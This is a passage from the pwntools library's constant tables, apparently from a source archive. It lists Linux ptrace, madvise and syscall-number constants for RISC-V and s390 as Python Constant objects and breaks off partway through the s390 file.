MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FILE = Constant('MAP_FILE',0) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',202) SYS_accept4 = Constant('SYS_accept4',242) SYS_acct = Constant('SYS_acct',89) SYS_add_key = Constant('SYS_add_key',217) SYS_adjtimex = Constant('SYS_adjtimex',171) SYS_arch_specific_syscall = Constant('SYS_arch_specific_syscall',244) SYS_bind = Constant('SYS_bind',200) SYS_bpf = Constant('SYS_bpf',280) SYS_brk = Constant('SYS_brk',214) SYS_capget = Constant('SYS_capget',90) SYS_capset = Constant('SYS_capset',91) SYS_chdir = Constant('SYS_chdir',49) SYS_chroot = Constant('SYS_chroot',51) SYS_clock_adjtime = Constant('SYS_clock_adjtime',266) SYS_clock_getres = Constant('SYS_clock_getres',114) SYS_clock_gettime = Constant('SYS_clock_gettime',113) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',115) SYS_clock_settime = Constant('SYS_clock_settime',112) SYS_clone = Constant('SYS_clone',220) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',57) SYS_close_range = Constant('SYS_close_range',436) SYS_connect = Constant('SYS_connect',203) SYS_copy_file_range = Constant('SYS_copy_file_range',285) SYS_delete_module = Constant('SYS_delete_module',106) SYS_dup = Constant('SYS_dup',23) SYS_dup3 = Constant('SYS_dup3',24) SYS_epoll_create1 = Constant('SYS_epoll_create1',20) SYS_epoll_ctl = Constant('SYS_epoll_ctl',21) SYS_epoll_pwait = Constant('SYS_epoll_pwait',22) SYS_epoll_pwait2 = Constant('SYS_epoll_pwait2',441) SYS_eventfd2 = Constant('SYS_eventfd2',19) SYS_execve = Constant('SYS_execve',221) SYS_execveat = Constant('SYS_execveat',281) SYS_exit = Constant('SYS_exit',93) SYS_exit_group = Constant('SYS_exit_group',94) SYS_faccessat = Constant('SYS_faccessat',48) SYS_faccessat2 = Constant('SYS_faccessat2',439) SYS_fadvise64 = Constant('SYS_fadvise64',223) SYS_fallocate = Constant('SYS_fallocate',47) SYS_fanotify_init = Constant('SYS_fanotify_init',262) SYS_fanotify_mark = Constant('SYS_fanotify_mark',263) SYS_fchdir = Constant('SYS_fchdir',50) SYS_fchmod = Constant('SYS_fchmod',52) SYS_fchmodat = Constant('SYS_fchmodat',53) SYS_fchown = Constant('SYS_fchown',55) SYS_fchownat = Constant('SYS_fchownat',54) SYS_fcntl = Constant('SYS_fcntl',25) SYS_fdatasync = Constant('SYS_fdatasync',83) SYS_fgetxattr = Constant('SYS_fgetxattr',10) SYS_finit_module = Constant('SYS_finit_module',273) SYS_flistxattr = Constant('SYS_flistxattr',13) SYS_flock = Constant('SYS_flock',32) SYS_fremovexattr = Constant('SYS_fremovexattr',16) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',7) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',80) SYS_fstatfs = Constant('SYS_fstatfs',44) SYS_fsync = Constant('SYS_fsync',82) SYS_ftruncate = Constant('SYS_ftruncate',46) SYS_futex = Constant('SYS_futex',98) SYS_getcpu = Constant('SYS_getcpu',168) SYS_getcwd = Constant('SYS_getcwd',17) SYS_getdents64 = Constant('SYS_getdents64',61) SYS_getegid = Constant('SYS_getegid',177) SYS_geteuid = Constant('SYS_geteuid',175) SYS_getgid = Constant('SYS_getgid',176) SYS_getgroups = Constant('SYS_getgroups',158) SYS_getitimer = Constant('SYS_getitimer',102) SYS_get_mempolicy = Constant('SYS_get_mempolicy',236) SYS_getpeername = Constant('SYS_getpeername',205) SYS_getpgid = Constant('SYS_getpgid',155) SYS_getpid = Constant('SYS_getpid',172) SYS_getppid = Constant('SYS_getppid',173) SYS_getpriority = Constant('SYS_getpriority',141) SYS_getrandom = Constant('SYS_getrandom',278) SYS_getresgid = Constant('SYS_getresgid',150) SYS_getresuid = Constant('SYS_getresuid',148) SYS_getrlimit = Constant('SYS_getrlimit',163) SYS_get_robust_list = Constant('SYS_get_robust_list',100) SYS_getrusage = Constant('SYS_getrusage',165) SYS_getsid = Constant('SYS_getsid',156) SYS_getsockname = Constant('SYS_getsockname',204) SYS_getsockopt = Constant('SYS_getsockopt',209) SYS_gettid = Constant('SYS_gettid',178) SYS_gettimeofday = Constant('SYS_gettimeofday',169) SYS_getuid = Constant('SYS_getuid',174) SYS_getxattr = Constant('SYS_getxattr',8) SYS_init_module = Constant('SYS_init_module',105) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',27) SYS_inotify_init1 = Constant('SYS_inotify_init1',26) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',28) SYS_io_cancel = Constant('SYS_io_cancel',3) SYS_ioctl = Constant('SYS_ioctl',29) SYS_io_destroy = Constant('SYS_io_destroy',1) SYS_io_getevents = Constant('SYS_io_getevents',4) SYS_io_pgetevents = Constant('SYS_io_pgetevents',292) SYS_ioprio_get = Constant('SYS_ioprio_get',31) SYS_ioprio_set = Constant('SYS_ioprio_set',30) SYS_io_setup = Constant('SYS_io_setup',0) SYS_io_submit = Constant('SYS_io_submit',2) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_kcmp = Constant('SYS_kcmp',272) SYS_kexec_file_load = Constant('SYS_kexec_file_load',294) SYS_kexec_load = Constant('SYS_kexec_load',104) SYS_keyctl = Constant('SYS_keyctl',219) SYS_kill = Constant('SYS_kill',129) SYS_landlock_add_rule = Constant('SYS_landlock_add_rule',445) SYS_landlock_create_ruleset = Constant('SYS_landlock_create_ruleset',444) SYS_landlock_restrict_self = Constant('SYS_landlock_restrict_self',446) SYS_lgetxattr = Constant('SYS_lgetxattr',9) SYS_linkat = Constant('SYS_linkat',37) SYS_listen = Constant('SYS_listen',201) SYS_listxattr = Constant('SYS_listxattr',11) SYS_llistxattr = Constant('SYS_llistxattr',12) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',18) SYS_lremovexattr = Constant('SYS_lremovexattr',15) SYS_lseek = Constant('SYS_lseek',62) SYS_lsetxattr = Constant('SYS_lsetxattr',6) SYS_madvise = Constant('SYS_madvise',233) SYS_mbind = Constant('SYS_mbind',235) SYS_membarrier = Constant('SYS_membarrier',283) SYS_memfd_create = Constant('SYS_memfd_create',279) SYS_migrate_pages = Constant('SYS_migrate_pages',238) SYS_mincore = Constant('SYS_mincore',232) SYS_mkdirat = Constant('SYS_mkdirat',34) SYS_mknodat = Constant('SYS_mknodat',33) SYS_mlock = Constant('SYS_mlock',228) SYS_mlock2 = Constant('SYS_mlock2',284) SYS_mlockall = Constant('SYS_mlockall',230) SYS_mmap = Constant('SYS_mmap',222) SYS_mount = Constant('SYS_mount',40) SYS_mount_setattr = Constant('SYS_mount_setattr',442) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',239) SYS_mprotect = Constant('SYS_mprotect',226) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',185) SYS_mq_notify = Constant('SYS_mq_notify',184) SYS_mq_open = Constant('SYS_mq_open',180) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',183) SYS_mq_timedsend = Constant('SYS_mq_timedsend',182) SYS_mq_unlink = Constant('SYS_mq_unlink',181) SYS_mremap = Constant('SYS_mremap',216) SYS_msgctl = Constant('SYS_msgctl',187) SYS_msgget = Constant('SYS_msgget',186) SYS_msgrcv = Constant('SYS_msgrcv',188) SYS_msgsnd = Constant('SYS_msgsnd',189) SYS_msync = Constant('SYS_msync',227) SYS_munlock = Constant('SYS_munlock',229) SYS_munlockall = Constant('SYS_munlockall',231) SYS_munmap = Constant('SYS_munmap',215) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',264) SYS_nanosleep = Constant('SYS_nanosleep',101) SYS_newfstatat = Constant('SYS_newfstatat',79) SYS_nfsservctl = Constant('SYS_nfsservctl',42) SYS_openat = Constant('SYS_openat',56) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',265) SYS_open_tree = Constant('SYS_open_tree',428) SYS_perf_event_open = Constant('SYS_perf_event_open',241) SYS_personality = Constant('SYS_personality',92) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe2 = Constant('SYS_pipe2',59) SYS_pivot_root = Constant('SYS_pivot_root',41) SYS_pkey_alloc = Constant('SYS_pkey_alloc',289) SYS_pkey_free = Constant('SYS_pkey_free',290) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',288) SYS_ppoll = Constant('SYS_ppoll',73) SYS_prctl = Constant('SYS_prctl',167) SYS_pread64 = Constant('SYS_pread64',67) SYS_preadv = Constant('SYS_preadv',69) SYS_preadv2 = Constant('SYS_preadv2',286) SYS_prlimit64 = Constant('SYS_prlimit64',261) SYS_process_madvise = Constant('SYS_process_madvise',440) SYS_process_vm_readv = Constant('SYS_process_vm_readv',270) SYS_process_vm_writev = Constant('SYS_process_vm_writev',271) SYS_pselect6 = Constant('SYS_pselect6',72) SYS_ptrace = Constant('SYS_ptrace',117) SYS_pwrite64 = Constant('SYS_pwrite64',68) SYS_pwritev = Constant('SYS_pwritev',70) SYS_pwritev2 = Constant('SYS_pwritev2',287) SYS_quotactl = Constant('SYS_quotactl',60) SYS_read = Constant('SYS_read',63) SYS_readahead = Constant('SYS_readahead',213) SYS_readlinkat = Constant('SYS_readlinkat',78) SYS_readv = Constant('SYS_readv',65) SYS_reboot = Constant('SYS_reboot',142) SYS_recvfrom = Constant('SYS_recvfrom',207) SYS_recvmmsg = Constant('SYS_recvmmsg',243) SYS_recvmsg = Constant('SYS_recvmsg',212) SYS_remap_file_pages = Constant('SYS_remap_file_pages',234) SYS_removexattr = Constant('SYS_removexattr',14) SYS_renameat2 = Constant('SYS_renameat2',276) SYS_request_key = Constant('SYS_request_key',218) SYS_restart_syscall = Constant('SYS_restart_syscall',128) SYS_riscv_flush_icache = Constant('SYS_riscv_flush_icache',(244 + 15)) SYS_rseq = Constant('SYS_rseq',293) SYS_rt_sigaction = Constant('SYS_rt_sigaction',134) SYS_rt_sigpending = Constant('SYS_rt_sigpending',136) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',135) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',138) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',139) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',133) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',137) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',240) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',123) SYS_sched_getattr = Constant('SYS_sched_getattr',275) SYS_sched_getparam = Constant('SYS_sched_getparam',121) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',125) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',126) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',120) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',127) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',122) SYS_sched_setattr = Constant('SYS_sched_setattr',274) SYS_sched_setparam = Constant('SYS_sched_setparam',118) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',119) SYS_sched_yield = Constant('SYS_sched_yield',124) SYS_seccomp = Constant('SYS_seccomp',277) SYS_semctl = Constant('SYS_semctl',191) SYS_semget = Constant('SYS_semget',190) SYS_semop = Constant('SYS_semop',193) SYS_semtimedop = Constant('SYS_semtimedop',192) SYS_sendfile = Constant('SYS_sendfile',71) SYS_sendmmsg = Constant('SYS_sendmmsg',269) SYS_sendmsg = Constant('SYS_sendmsg',211) SYS_sendto = Constant('SYS_sendto',206) SYS_setdomainname = Constant('SYS_setdomainname',162) SYS_setfsgid = Constant('SYS_setfsgid',152) SYS_setfsuid = Constant('SYS_setfsuid',151) SYS_setgid = Constant('SYS_setgid',144) SYS_setgroups = Constant('SYS_setgroups',159) SYS_sethostname = Constant('SYS_sethostname',161) SYS_setitimer = Constant('SYS_setitimer',103) SYS_set_mempolicy = Constant('SYS_set_mempolicy',237) SYS_setns = Constant('SYS_setns',268) SYS_setpgid = Constant('SYS_setpgid',154) SYS_setpriority = Constant('SYS_setpriority',140) SYS_setregid = Constant('SYS_setregid',143) SYS_setresgid = Constant('SYS_setresgid',149) SYS_setresuid = Constant('SYS_setresuid',147) SYS_setreuid = Constant('SYS_setreuid',145) SYS_setrlimit = Constant('SYS_setrlimit',164) SYS_set_robust_list = Constant('SYS_set_robust_list',99) SYS_setsid = Constant('SYS_setsid',157) SYS_setsockopt = Constant('SYS_setsockopt',208) SYS_set_tid_address = Constant('SYS_set_tid_address',96) SYS_settimeofday = Constant('SYS_settimeofday',170) SYS_setuid = Constant('SYS_setuid',146) SYS_setxattr = Constant('SYS_setxattr',5) SYS_shmat = Constant('SYS_shmat',196) SYS_shmctl = Constant('SYS_shmctl',195) SYS_shmdt = Constant('SYS_shmdt',197) SYS_shmget = Constant('SYS_shmget',194) SYS_shutdown = Constant('SYS_shutdown',210) SYS_sigaltstack = Constant('SYS_sigaltstack',132) SYS_signalfd4 = Constant('SYS_signalfd4',74) SYS_socket = Constant('SYS_socket',198) SYS_socketpair = Constant('SYS_socketpair',199) SYS_splice = Constant('SYS_splice',76) SYS_statfs = Constant('SYS_statfs',43) SYS_statx = Constant('SYS_statx',291) SYS_swapoff = Constant('SYS_swapoff',225) SYS_swapon = Constant('SYS_swapon',224) SYS_symlinkat = Constant('SYS_symlinkat',36) SYS_sync = Constant('SYS_sync',81) SYS_sync_file_range = Constant('SYS_sync_file_range',84) SYS_syncfs = Constant('SYS_syncfs',267) SYS_sysinfo = Constant('SYS_sysinfo',179) SYS_syslog = Constant('SYS_syslog',116) SYS_sysriscv = Constant('SYS_sysriscv',244) SYS_tee = Constant('SYS_tee',77) SYS_tgkill = Constant('SYS_tgkill',131) SYS_timer_create = Constant('SYS_timer_create',107) SYS_timer_delete = Constant('SYS_timer_delete',111) SYS_timerfd_create = Constant('SYS_timerfd_create',85) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',87) SYS_timerfd_settime = Constant('SYS_timerfd_settime',86) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',109) SYS_timer_gettime = Constant('SYS_timer_gettime',108) SYS_timer_settime = Constant('SYS_timer_settime',110) SYS_times = Constant('SYS_times',153) SYS_tkill = Constant('SYS_tkill',130) SYS_truncate = Constant('SYS_truncate',45) SYS_umask = Constant('SYS_umask',166) SYS_umount2 = Constant('SYS_umount2',39) SYS_uname = Constant('SYS_uname',160) SYS_unlinkat = Constant('SYS_unlinkat',35) SYS_unshare = Constant('SYS_unshare',97) SYS_userfaultfd = Constant('SYS_userfaultfd',282) SYS_utimensat = Constant('SYS_utimensat',88) SYS_vhangup = Constant('SYS_vhangup',58) SYS_vmsplice = Constant('SYS_vmsplice',75) SYS_wait4 = Constant('SYS_wait4',260) SYS_waitid = Constant('SYS_waitid',95) SYS_write = Constant('SYS_write',64) SYS_writev = Constant('SYS_writev',66) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/s390.py000066400000000000000000002241731507273764500237310ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_restart_syscall = Constant('__NR_restart_syscall',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execve = Constant('__NR_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_time = Constant('__NR_time',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_mount = Constant('__NR_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_stime = Constant('__NR_stime',25) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_rename = Constant('__NR_rename',38) __NR_mkdir = Constant('__NR_mkdir',39) __NR_rmdir = Constant('__NR_rmdir',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_brk = Constant('__NR_brk',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_umount2 = Constant('__NR_umount2',52) __NR_ioctl = Constant('__NR_ioctl',54) __NR_fcntl = Constant('__NR_fcntl',55) __NR_setpgid = Constant('__NR_setpgid',57) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_ustat = Constant('__NR_ustat',62) __NR_dup2 = Constant('__NR_dup2',63) __NR_getppid = Constant('__NR_getppid',64) __NR_getpgrp = Constant('__NR_getpgrp',65) __NR_setsid = Constant('__NR_setsid',66) __NR_sigaction = Constant('__NR_sigaction',67) __NR_setreuid = Constant('__NR_setreuid',70) __NR_setregid = Constant('__NR_setregid',71) __NR_sigsuspend = Constant('__NR_sigsuspend',72) __NR_sigpending = Constant('__NR_sigpending',73) __NR_sethostname = Constant('__NR_sethostname',74) __NR_setrlimit = Constant('__NR_setrlimit',75) __NR_getrlimit = Constant('__NR_getrlimit',76) __NR_getrusage = Constant('__NR_getrusage',77) __NR_gettimeofday = Constant('__NR_gettimeofday',78) __NR_settimeofday = Constant('__NR_settimeofday',79) __NR_getgroups = Constant('__NR_getgroups',80) __NR_setgroups = Constant('__NR_setgroups',81) __NR_symlink = Constant('__NR_symlink',83) __NR_readlink = Constant('__NR_readlink',85) __NR_uselib = Constant('__NR_uselib',86) __NR_swapon = Constant('__NR_swapon',87) __NR_reboot = Constant('__NR_reboot',88) __NR_readdir = Constant('__NR_readdir',89) __NR_mmap = Constant('__NR_mmap',90) __NR_munmap = Constant('__NR_munmap',91) __NR_truncate = Constant('__NR_truncate',92) __NR_ftruncate = Constant('__NR_ftruncate',93) __NR_fchmod = Constant('__NR_fchmod',94) __NR_fchown = Constant('__NR_fchown',95) __NR_getpriority = Constant('__NR_getpriority',96) __NR_setpriority = Constant('__NR_setpriority',97) __NR_statfs = Constant('__NR_statfs',99) __NR_fstatfs = Constant('__NR_fstatfs',100) __NR_ioperm = Constant('__NR_ioperm',101) __NR_socketcall = Constant('__NR_socketcall',102) __NR_syslog = Constant('__NR_syslog',103) __NR_setitimer = Constant('__NR_setitimer',104) __NR_getitimer = Constant('__NR_getitimer',105) __NR_stat = Constant('__NR_stat',106) __NR_lstat = Constant('__NR_lstat',107) __NR_fstat = Constant('__NR_fstat',108) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',110) __NR_vhangup = Constant('__NR_vhangup',111) __NR_idle = Constant('__NR_idle',112) __NR_wait4 = Constant('__NR_wait4',114) __NR_swapoff = Constant('__NR_swapoff',115) __NR_sysinfo = Constant('__NR_sysinfo',116) __NR_ipc = Constant('__NR_ipc',117) __NR_fsync = Constant('__NR_fsync',118) __NR_sigreturn = Constant('__NR_sigreturn',119) __NR_clone = Constant('__NR_clone',120) __NR_setdomainname = Constant('__NR_setdomainname',121) __NR_uname = Constant('__NR_uname',122) __NR_adjtimex = Constant('__NR_adjtimex',124) __NR_mprotect = Constant('__NR_mprotect',125) __NR_sigprocmask = Constant('__NR_sigprocmask',126) __NR_create_module = Constant('__NR_create_module',127) __NR_init_module = Constant('__NR_init_module',128) __NR_delete_module = Constant('__NR_delete_module',129) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130) __NR_quotactl = Constant('__NR_quotactl',131) __NR_getpgid = Constant('__NR_getpgid',132) __NR_fchdir = Constant('__NR_fchdir',133) __NR_bdflush = Constant('__NR_bdflush',134) __NR_sysfs = Constant('__NR_sysfs',135) __NR_personality = Constant('__NR_personality',136) __NR_afs_syscall = Constant('__NR_afs_syscall',137) __NR_setfsuid = Constant('__NR_setfsuid',138) __NR_setfsgid = Constant('__NR_setfsgid',139) __NR__llseek = Constant('__NR__llseek',140) __NR_getdents = Constant('__NR_getdents',141) __NR__newselect = Constant('__NR__newselect',142) __NR_flock = Constant('__NR_flock',143) __NR_msync = Constant('__NR_msync',144) __NR_readv = Constant('__NR_readv',145) __NR_writev = Constant('__NR_writev',146) __NR_getsid = Constant('__NR_getsid',147) __NR_fdatasync = Constant('__NR_fdatasync',148) __NR__sysctl = Constant('__NR__sysctl',149) __NR_mlock = Constant('__NR_mlock',150) __NR_munlock = Constant('__NR_munlock',151) __NR_mlockall = Constant('__NR_mlockall',152) __NR_munlockall = Constant('__NR_munlockall',153) __NR_sched_setparam = Constant('__NR_sched_setparam',154) __NR_sched_getparam = Constant('__NR_sched_getparam',155) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157) __NR_sched_yield = Constant('__NR_sched_yield',158) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161) __NR_nanosleep = Constant('__NR_nanosleep',162) __NR_mremap = Constant('__NR_mremap',163) __NR_setresuid = Constant('__NR_setresuid',164) __NR_getresuid = Constant('__NR_getresuid',165) __NR_query_module = Constant('__NR_query_module',167) __NR_poll = Constant('__NR_poll',168) __NR_nfsservctl = Constant('__NR_nfsservctl',169) __NR_setresgid = Constant('__NR_setresgid',170) __NR_getresgid = Constant('__NR_getresgid',171) __NR_prctl = Constant('__NR_prctl',172) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173) __NR_rt_sigaction = Constant('__NR_rt_sigaction',174) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',175) __NR_rt_sigpending = Constant('__NR_rt_sigpending',176) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179) __NR_pread64 = Constant('__NR_pread64',180) __NR_pwrite64 = Constant('__NR_pwrite64',181) __NR_chown = Constant('__NR_chown',182) __NR_getcwd = Constant('__NR_getcwd',183) __NR_capget = Constant('__NR_capget',184) __NR_capset = Constant('__NR_capset',185) __NR_sigaltstack = Constant('__NR_sigaltstack',186) __NR_sendfile = Constant('__NR_sendfile',187) __NR_getpmsg = Constant('__NR_getpmsg',188) __NR_putpmsg = Constant('__NR_putpmsg',189) __NR_vfork = Constant('__NR_vfork',190) __NR_ugetrlimit = Constant('__NR_ugetrlimit',191) __NR_mmap2 = Constant('__NR_mmap2',192) __NR_truncate64 = Constant('__NR_truncate64',193) __NR_ftruncate64 = Constant('__NR_ftruncate64',194) __NR_stat64 = Constant('__NR_stat64',195) __NR_lstat64 = Constant('__NR_lstat64',196) __NR_fstat64 = Constant('__NR_fstat64',197) __NR_lchown32 = Constant('__NR_lchown32',198) __NR_getuid32 = Constant('__NR_getuid32',199) __NR_getgid32 = Constant('__NR_getgid32',200) __NR_geteuid32 = Constant('__NR_geteuid32',201) __NR_getegid32 = Constant('__NR_getegid32',202) __NR_setreuid32 = Constant('__NR_setreuid32',203) __NR_setregid32 = Constant('__NR_setregid32',204) __NR_getgroups32 = Constant('__NR_getgroups32',205) __NR_setgroups32 = Constant('__NR_setgroups32',206) __NR_fchown32 = Constant('__NR_fchown32',207) __NR_setresuid32 = Constant('__NR_setresuid32',208) __NR_getresuid32 = Constant('__NR_getresuid32',209) __NR_setresgid32 = Constant('__NR_setresgid32',210) __NR_getresgid32 = Constant('__NR_getresgid32',211) __NR_chown32 = Constant('__NR_chown32',212) __NR_setuid32 = Constant('__NR_setuid32',213) __NR_setgid32 = Constant('__NR_setgid32',214) __NR_setfsuid32 = Constant('__NR_setfsuid32',215) __NR_setfsgid32 = Constant('__NR_setfsgid32',216) __NR_pivot_root = Constant('__NR_pivot_root',217) __NR_mincore = Constant('__NR_mincore',218) __NR_madvise = Constant('__NR_madvise',219) __NR_getdents64 = Constant('__NR_getdents64',220) __NR_fcntl64 = Constant('__NR_fcntl64',221) __NR_readahead = Constant('__NR_readahead',222) __NR_sendfile64 = Constant('__NR_sendfile64',223) __NR_setxattr = Constant('__NR_setxattr',224) __NR_lsetxattr = Constant('__NR_lsetxattr',225) __NR_fsetxattr = Constant('__NR_fsetxattr',226) __NR_getxattr = Constant('__NR_getxattr',227) __NR_lgetxattr = Constant('__NR_lgetxattr',228) __NR_fgetxattr = Constant('__NR_fgetxattr',229) __NR_listxattr = Constant('__NR_listxattr',230) __NR_llistxattr = Constant('__NR_llistxattr',231) __NR_flistxattr = Constant('__NR_flistxattr',232) __NR_removexattr = Constant('__NR_removexattr',233) __NR_lremovexattr = Constant('__NR_lremovexattr',234) __NR_fremovexattr = Constant('__NR_fremovexattr',235) __NR_gettid = Constant('__NR_gettid',236) __NR_tkill = Constant('__NR_tkill',237) __NR_futex = Constant('__NR_futex',238) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',239) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',240) __NR_tgkill = Constant('__NR_tgkill',241) __NR_io_setup = Constant('__NR_io_setup',243) __NR_io_destroy = Constant('__NR_io_destroy',244) __NR_io_getevents = Constant('__NR_io_getevents',245) __NR_io_submit = Constant('__NR_io_submit',246) __NR_io_cancel = Constant('__NR_io_cancel',247) __NR_exit_group = Constant('__NR_exit_group',248) __NR_epoll_create = Constant('__NR_epoll_create',249) 